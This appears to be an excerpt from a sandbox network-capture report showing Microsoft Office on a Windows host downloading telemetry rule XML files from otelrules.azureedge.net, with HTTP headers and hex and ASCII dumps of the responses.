2024-10-24 14:05:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3e8b3e47-701e-006f-544e-22afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140534Z-16849878b78ngdnlw4w0762cms00000007yg000000005tp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d2bab0c5-801e-0078-24f3-24bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140534Z-r197bdfb6b4qpk6v9629ad4b5s0000000cfg00000000568k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f68a3f25-f01e-0052-02bd-259224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140534Z-16849878b78lhh9t0fb3392enw00000007p000000000hhnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8e096af2-401e-0015-41f3-240e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140534Z-r197bdfb6b4ld6jc5asqwvvz0w00000001vg000000002bh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 4fe2bab2-201e-0071-71f2-24ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-r197bdfb6b4kq4j5t834fh90qn0000000aw000000000ebxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:35 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49859	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 273a8d1a-001e-0034-0d8c-21dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-16849878b785g992cz2s9gk35c00000007vg00000000996r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:35 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 7edb8da2-f01e-0099-33f3-249171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-15b8d89586fdmfsg1u7xrpfws0000000039g00000000efqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 9f3a3312-201e-0096-7bbe-20ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-16849878b785jsrm4477mv3ezn00000007ug000000005hgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 999b9529-701e-001e-53f4-24f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-r197bdfb6b4kzncf21qcaynxz800000001z000000000d4r3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49863	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:36 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 55d9b643-201e-003f-330b-226d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-16849878b78jfqwd1dsrhqg3aw00000007wg00000000dvtb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49864	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2abba737-001e-0066-7df4-24561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-15b8d89586f6nn8zquf2vw6t5400000004u000000000k4dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:35 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:36 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140535Z-16849878b784cpcc2dr9ch74ng00000007ug00000000hs9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
